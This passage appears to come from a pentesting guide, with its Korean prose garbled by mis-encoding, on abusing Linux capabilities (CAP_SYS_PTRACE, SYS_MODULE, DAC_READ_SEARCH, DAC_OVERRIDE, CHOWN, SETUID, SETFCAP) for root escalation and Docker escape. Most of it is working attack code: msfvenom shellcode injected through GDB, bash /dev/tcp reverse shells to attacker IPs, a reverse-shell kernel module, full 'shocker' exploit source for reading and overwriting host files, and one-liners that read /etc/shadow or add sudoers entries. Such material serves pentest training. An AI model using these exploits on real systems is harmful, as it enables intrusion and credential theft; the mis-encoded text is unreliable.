ìŽ ëª ë ¹ìŽë 늬ë²ì€ TCP ìì ìì±í©ëë€. ìì±ë ììœë륌 GDB륌 íµíŽ ë©ëªšëЬì 죌ì í ì ììµëë€. GDB륌 ì¬ì©íì¬ íë¡ìžì€ë¥Œ ììí í, ë€ì곌 ê°ì ëª ë ¹ìŽë¡ ììœë륌 죌ì í ì ììµëë€:
(gdb) run
(gdb) set {char[<size>]}<address> = {<shellcode>}
ì¬êž°ì <size>ë ììœëì í¬êž°, <address>ë 죌ì
í ë©ëªšëЬ 죌ì, <shellcode>ë ìì±ë ììœëì
ëë€.
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"
# Divisible by 8
payload = b"\x90" * (-len(buf) % 8) + buf
# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"
print(f"set {{long}}($rip+{i}) = {chunks}")
ë£šíž íë¡ìžì€ë¥Œ gdbë¡ ëë²ê¹ íê³ ìŽì ì ìì±ë gdb ëŒìžì ë³µì¬íì¬ ë¶ì¬ë£ìµëë€:
# Let's write the commands to a file
echo 'set {long}($rip+0) = 0x296a909090909090
set {long}($rip+8) = 0x5e016a5f026a9958
set {long}($rip+16) = 0x0002b9489748050f
set {long}($rip+24) = 0x48510b0e0a0a2923
set {long}($rip+32) = 0x582a6a5a106ae689
set {long}($rip+40) = 0xceff485e036a050f
set {long}($rip+48) = 0x6af675050f58216a
set {long}($rip+56) = 0x69622fbb4899583b
set {long}($rip+64) = 0x8948530068732f6e
set {long}($rip+72) = 0x050fe689485752e7
c' > commands.gdb
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) source commands.gdb
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]
í겜 ìì (Docker íì¶) - ë ë€ë¥ž gdb ëšì©
GDBê° ì€ì¹ëìŽ ìê±°ë (apk add gdb ëë apt install gdbë¡ ì€ì¹í ì ìë 겜ì°) ížì€ížìì íë¡ìžì€ë¥Œ ëë²ê¹
íê³ system íšì륌 ížì¶íê² í ì ììµëë€. (ìŽ êž°ì ì SYS_ADMIN ê¶íë íìí©ëë€).
gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
ëª ë ¹ìŽ ì€íë 결곌륌 볌 ìë ìì§ë§ íŽë¹ íë¡ìžì€ì ìíŽ ì€íë©ëë€ (ë°ëŒì rev shellì ì»ìµëë€).
Warning
âíì¬ ì»ší ì€ížì âsystemâ êž°ížê° ììµëë€.âëŒë ì€ë¥ê° ë°ìí멎 gdb륌 íµíŽ íë¡ê·žëšì ììœë륌 ë¡ëíë ìŽì ìì 륌 íìžíììì€.
í겜ì ìŽì©í ìì (Docker íì¶) - ììœë 죌ì
ë€ì ëª ë ¹ì ì¬ì©íì¬ ë컀 컚í ìŽë ëŽìì íì±íë ê¶íì íìží ì ììµëë€:
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root
List processes running in the host ps -eaf
- Get the architecture
uname -m - Find a shellcode for the architecture (https://www.exploit-db.com/exploits/41128)
- Find a program to inject the shellcode into a process memory (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)
- Modify the shellcode inside the program and compile it
gcc inject.c -o inject - Inject it and grab your shell:
./inject 299; nc 172.17.0.1 5600
CAP_SYS_MODULE
**CAP_SYS_MODULE**ë íë¡ìžì€ê° 컀ë 몚ëì ë¡ëíê³ ìžë¡ëí ì ìëë¡ (init_module(2), finit_module(2) ë° delete_module(2) ìì€í
ížì¶) íì¬ ì»€ëì íµì¬ ìì
ì ì§ì ì ê·Œí ì ìê² í©ëë€. ìŽ êž°ë¥ì ê¶í ìì¹ ë° ì 첎 ìì€í
ììì ê°ë¥íê² íì¬ ì»€ëì ìì í ì ìê² íë¯ë¡ 몚ë Linux 볎ì ë©ì»€ëìŠ, Linux Security Modules ë° ì»ší
ìŽë 격늬륌 ì°ííë ì¬ê°í 볎ì ìíì ìŽëí©ëë€.
ìŽë ížì€íž ëšžì ì 컀ëì 컀ë 몚ëì ìœì
/ì ê±°í ì ììì ì믞í©ëë€.
Example with binary
ë€ì ìì ìì ìŽ ë°ìŽë늬 **python**ì ìŽ êž°ë¥ì ê°ì§ê³ ììµëë€.
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep
Ʞ볞ì ìŒë¡, modprobe ëª
ë ¹ì /lib/modules/$(uname -r) ëë í 늬ìì ìì¡Žì± ëª©ë¡ê³Œ ë§µ íìŒì íìží©ëë€.
ìŽë¥Œ ì
ì©íêž° ìíŽ ê°ì§ lib/modules íŽë륌 ìì±íŽ ëŽ
ìë€:
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
ê·žë° ë€ì ìë ë ê°ì§ ìì 륌 ì°Ÿì 컀ë 몚ëì 컎íìŒíê³ ìŽ íŽëì ë³µì¬íìžì:**
cp reverse-shell.ko lib/modules/$(uname -r)/
ë§ì§ë§ìŒë¡, ìŽ ì»€ë 몚ëì ë¡ëíêž° ìíŽ íìí íìŽì¬ ìœë륌 ì€ííìžì:
import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")
Example 2 with binary
In the following example the binary kmod has this capability.
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
ìŽë€ ì믞ë멎, insmod ëª
ë ¹ìŽë¥Œ ì¬ì©íì¬ ì»€ë 몚ëì ìœì
í ì ìë€ë ê²ì
ëë€. ìë ìì 륌 ë°ëŒ ìŽ ê¶íì ì
ì©íì¬ reverse shellì ì»ìŒìžì.
í겜 ìì (Docker íì¶)
docker 컚í ìŽë ëŽìì íì±íë ê¶íì íìžíë €ë©Ž ë€ìì ì¬ì©íìžì:
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
ìŽì ì¶ë ¥ìì SYS_MODULE ê¶íìŽ íì±íëìŽ ììì íìží ì ììµëë€.
늬ë²ì€ ì žì ì€íí 컀ë 몚ë곌 ìŽë¥Œ 컎íìŒí Makefileì ìì±íììì€:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Warning
Makefileì ê° make ëšìŽ ìì 공백 묞ìë ê³µë°±ìŽ ìë íìŽìŽìŒ í©ëë€!
make륌 ì€ííì¬ ì»ŽíìŒí©ëë€.
Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
ë§ì§ë§ìŒë¡, ì
ž ììì nc륌 ììíê³ ë€ë¥ž ì
žìì 몚ëì ë¡ëí멎 nc íë¡ìžì€ìì ì
žì 캡ì²í ì ììµëë€:
#Shell 1
nc -lvnp 4444
#Shell 2
insmod reverse-shell.ko #Launch the reverse shell
ìŽ êž°ì ì ìœëë https://www.pentesteracademy.com/ ì âSYS_MODULE Capability ëšì©â ì€íì€ìì ë³µì¬ëììµëë€.
ìŽ êž°ì ì ë ë€ë¥ž ìë https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-hostìì ì°Ÿì ì ììµëë€.
CAP_DAC_READ_SEARCH
CAP_DAC_READ_SEARCHë íë¡ìžì€ê° íìŒ ìœêž° ë° ëë í°ëЬ ìœêž°/ì€íì ëí ê¶íì ì°íí ì ìëë¡ í©ëë€. 죌ë ì©ëë íìŒ ê²ì ëë ìœêž° 목ì ì
ëë€. ê·žë¬ë ìŽ êž°ë¥ì íë¡ìžì€ì ë§ìŽíž ë€ìì€íìŽì€ ìžë¶ì ìë íìŒì í¬íšíì¬ ëªšë íìŒì ì ê·Œí ì ìë open_by_handle_at(2) íšì륌 ì¬ì©í ì ìê² í©ëë€. open_by_handle_at(2)ìì ì¬ì©ëë ížë€ì name_to_handle_at(2)륌 íµíŽ ì»ì ë¹í¬ëª
ìë³ìì¬ìŒ íì§ë§, ë³ì¡°ì ì·šìœí inode ë²ížì ê°ì 믌ê°í ì 볎륌 í¬íší ì ììµëë€. ìŽ êž°ë¥ì ì
ì© ê°ë¥ì±ì í¹í Docker 컚í
ìŽëì ë§¥ëœìì Sebastian Krahmerì ìíŽ shocker exploitë¡ ì
ìŠëììµëë€. ì¬êž°ì ë¶ìë ëŽì©ì
ëë€.
ìŽë íìŒ ìœêž° ê¶í ê²ì¬ ë° ëë í°ëЬ ìœêž°/ì€í ê¶í ê²ì¬ë¥Œ ì°íí ì ììì ì믞í©ëë€.
ë°ìŽë늬 ìì
ë°ìŽë늬ë 몚ë íìŒì ìœì ì ììµëë€. ë°ëŒì tarì ê°ì íìŒìŽ ìŽ êž°ë¥ì ê°ì§ê³ ìë€ë©Ž, shadow íìŒì ìœì ì ììµëë€:
cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz
Example with binary2
ìŽ ê²œì° python ë°ìŽëëŠ¬ê° ìŽ ê¶íì ê°ì§ê³ ìë€ê³ ê°ì íŽ ë³Žê² ìµëë€. ë£šíž íìŒì ëìŽíë €ë©Ž ë€ì곌 ê°ìŽ í ì ììµëë€:
import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)
íìŒì ìœêž° ìíŽ ë€ì곌 ê°ìŽ í ì ììµëë€:
print(open("/etc/shadow", "r").read())
í겜 ìì (Docker íì¶)
docker 컚í ìŽë ëŽìì íì±íë capabilities륌 íìžíë €ë©Ž ë€ìì ì¬ì©íìžì:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
ìŽì ì¶ë ¥ìì DAC_READ_SEARCH ê¶íìŽ íì±íëìŽ ìë ê²ì 볌 ì ììµëë€. ê·ž 결곌, 컚í ìŽëë íë¡ìžì€ë¥Œ ëë²ê¹ í ì ììµëë€.
ë€ìì ìµì€íë¡ììŽ ìŽë»ê² ìëíëì§ì ëí ëŽì©ì https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3ìì íìží ì ìì§ë§, ììœíì멎 CAP_DAC_READ_SEARCHë ê¶í íìž ììŽ íìŒ ìì€í ì íìí ì ìê² íŽì€ ë¿ë§ ìëëŒ, _open_by_handle_at(2)_ì ëí 몚ë ê²ì¬ë¥Œ ëª ìì ìŒë¡ ì ê±°íê³ ë€ë¥ž íë¡ìžì€ì ìíŽ ìŽëа 믌ê°í íìŒì ëí ì ê·Œì íì©í ì ììµëë€.
ížì€ížìì íìŒì ìœêž° ìíŽ ìŽ ê¶íì ì ì©íë ìë ìµì€íë¡ìì ì¬êž°ìì ì°Ÿì ì ììµëë€: http://stealth.openwall.net/xSports/shocker.c, ë€ìì ìœê³ ì íë íìŒì 첫 ë²ì§ž ìžìë¡ ì§ì íê³ íìŒì ë€íí ì ìëë¡ ìì ë ë²ì ì ëë€.
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
printf("Success!!\n");
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
Warning
ìŽ ìµì€íë¡ìì ížì€ížì ë§ìŽížë 묎ìžê°ì ëí í¬ìží°ë¥Œ ì°ŸììŒ í©ëë€. ìëì ìµì€íë¡ìì íìŒ /.dockerinitì ì¬ì©íìŒë©°, ìŽ ìì ë ë²ì ì /etc/hostnameì ì¬ì©í©ëë€. ìµì€íë¡ììŽ ìëíì§ ìëë€ë©Ž ë€ë¥ž íìŒì ì€ì íŽìŒ í ìë ììµëë€. ížì€ížì ë§ìŽížë íìŒì ì°ŸìŒë €ë©Ž mount ëª ë ¹ì ì€ííìžì:
 (1).png)
ìŽ êž°ì ì ìœëë https://www.pentesteracademy.com/ ì âDAC_READ_SEARCH Capability ëšì©â ì€íì€ìì ë³µì¬ëììµëë€.
CAP_DAC_OVERRIDE
ìŽë 몚ë íìŒì ëí ì°êž° ê¶í ê²ì¬ë¥Œ ì°íí ì ììì ì믞íë¯ë¡, ìŽë€ íìŒìŽë ìž ì ììµëë€.
í¹ê¶ ìì¹ì ìíŽ ë®ìŽìž ì ìë íìŒìŽ ë§ìŽ ììµëë€, ì¬êž°ìì ììŽëìŽë¥Œ ì»ì ì ììµëë€.
ë°ìŽë늬 ìì
ìŽ ìì ìì vimì ìŽ ê¶íì ê°ì§ê³ ììŒë¯ë¡ passwd, sudoers ëë _shadow_ì ê°ì íìŒì ìì í ì ììµëë€:
getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep
vim /etc/sudoers #To overwrite it
Example with binary 2
In this example python binary will have this capability. You could use python to override any file:
file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
í겜 + CAP_DAC_READ_SEARCH (Docker íì¶) ìì
docker 컚í ìŽë ëŽìì íì±íë ê¶íì íìžíë €ë©Ž ë€ìì ì¬ì©íìžì:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
뚌ì , ížì€ížì DAC_READ_SEARCH êž°ë¥ì ì
ì©íì¬ ììì íìŒì ìœë ìŽì ì¹ì
ì ìœê³ ìµì€íë¡ìì 컎íìŒíìžì.
ê·žë° ë€ì, ížì€íž íìŒ ìì€í
ëŽìì ììì íìŒì ìž ì ìë ë€ì ë²ì ì ìŒì»€ ìµì€íë¡ìì 컎íìŒíìžì:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
Docker 컚í
ìŽëìì íì¶íêž° ìíŽìë ížì€ížìì /etc/shadow ë° /etc/passwd íìŒì ë€ìŽë¡ëíê³ , ì¬êž°ì ì ì¬ì©ì륌 ì¶ê°í ë€ì, **shocker_write**륌 ì¬ì©íì¬ ìŽë¥Œ ë®ìŽìž ì ììµëë€. ê·žë° ë€ì ssh륌 íµíŽ ì ìí©ëë€.
ìŽ êž°ì ì ìœëë https://www.pentesteracademy.com ì âAbusing DAC_OVERRIDE Capabilityâ ì€íì€ìì ë³µì¬ëììµëë€.
CAP_CHOWN
ìŽë 몚ë íìŒì ìì ê¶ì ë³ê²œí ì ììì ì믞í©ëë€.
ë°ìŽë늬 ìì
python ë°ìŽëëŠ¬ê° ìŽ ë¥ë ¥ì ê°ì§ê³ ìë€ê³ ê°ì íŽ ë³Žê² ìµëë€. ê·žë¬ë©Ž shadow íìŒì ìì ì륌 ë³ê²œíê³ , ë£šíž ë¹ë°ë²ížë¥Œ ë³ê²œíë©°, ê¶íì ìì¹ìí¬ ì ììµëë€:
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
ruby ë°ìŽëëŠ¬ê° ìŽ ê¶íì ê°ì§ê³ ìë 겜ì°:
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
CAP_FOWNER
ìŽê²ì 몚ë íìŒì ê¶íì ë³ê²œí ì ììì ì믞í©ëë€.
ë°ìŽë늬 ìì
pythonìŽ ìŽ êž°ë¥ì ê°ì§ê³ ìë€ë©Ž, shadow íìŒì ê¶íì ìì íê³ , ë£šíž ë¹ë°ë²ížë¥Œ ë³ê²œíë©°, ê¶íì ìì¹ìí¬ ì ììµëë€:
python -c 'import os;os.chmod("/etc/shadow",0666)
CAP_SETUID
ìŽê²ì ìì±ë íë¡ìžì€ì ì íš ì¬ì©ì ID륌 ì€ì í ì ììì ì믞í©ëë€.
ë°ìŽë늬 ìì
pythonìŽ ìŽ capability륌 ê°ì§ê³ ìë€ë©Ž, ìŽë¥Œ ìŽì©íŽ ë£šíž ê¶íìŒë¡ ê¶í ìì¹ì ë§€ì° ìœê² í ì ììµëë€:
import os
os.setuid(0)
os.system("/bin/bash")
ë ë€ë¥ž ë°©ë²:
import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")
CAP_SETGID
ìŽê²ì ìì±ë íë¡ìžì€ì ì íš ê·žë£¹ ID륌 ì€ì í ì ììì ì믞í©ëë€.
ê¶íì ìì¹ìí€êž° ìíŽ ë®ìŽìž ì ìë íìŒìŽ ë§ìŽ ììµëë€, ì¬êž°ìì ììŽëìŽë¥Œ ì»ì ì ììµëë€.
ë°ìŽë늬 ìì
ìŽ ê²œì°, ê·žë£¹ìŽ ìœì ì ìë í¥ë¯žë¡ìŽ íìŒì ì°ŸììŒ í©ëë€. ìëí멎 ìŽë€ 귞룹ìŒë¡ë ê°ì¥í ì ìêž° ë묞ì ëë€:
#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
íìŒì ì°Ÿìì ê¶í ìì¹ì ìíŽ ì ì©í ì ìë 겜ì°(ìœêž° ëë ì°êž°ë¥Œ íµíŽ) í¥ë¯žë¡ìŽ ê·žë£¹ì ê°ì¥íì¬ ì žì ì»ì ì ììµëë€:
import os
os.setgid(42)
os.system("/bin/bash")
ìŽ ê²œì° ê·žë£¹ shadowê° ê°ì¥íŽì žì /etc/shadow íìŒì ìœì ì ììµëë€:
cat /etc/shadow
ë§ìœ dockerê° ì€ì¹ëìŽ ìë€ë©Ž, docker groupì ê°ì¥íê³ ìŽë¥Œ ì ì©íì¬ docker socketì íµì íê³ ê¶íì ìì¹ìí¬ ì ììµëë€.
CAP_SETFCAP
ìŽë íìŒê³Œ íë¡ìžì€ì ê¶íì ì€ì í ì ììì ì믞í©ëë€.
ë°ìŽë늬 ìì
ë§ìœ pythonìŽ ìŽ ê¶íì ê°ì§ê³ ìë€ë©Ž, ìŽë¥Œ ë§€ì° ìœê² ì ì©íì¬ root ê¶íìŒë¡ ìì¹ìí¬ ì ììµëë€:
import ctypes, sys
#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)
if(status == 0):
print (cap + " was successfully added to " + path)
python setcapability.py /usr/bin/python2.7
Warning
Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap.
Once you have SETUID capability you can go to its section to see how to escalate privileges.
í겜ì ìŽì©í ìì (Docker íì¶)
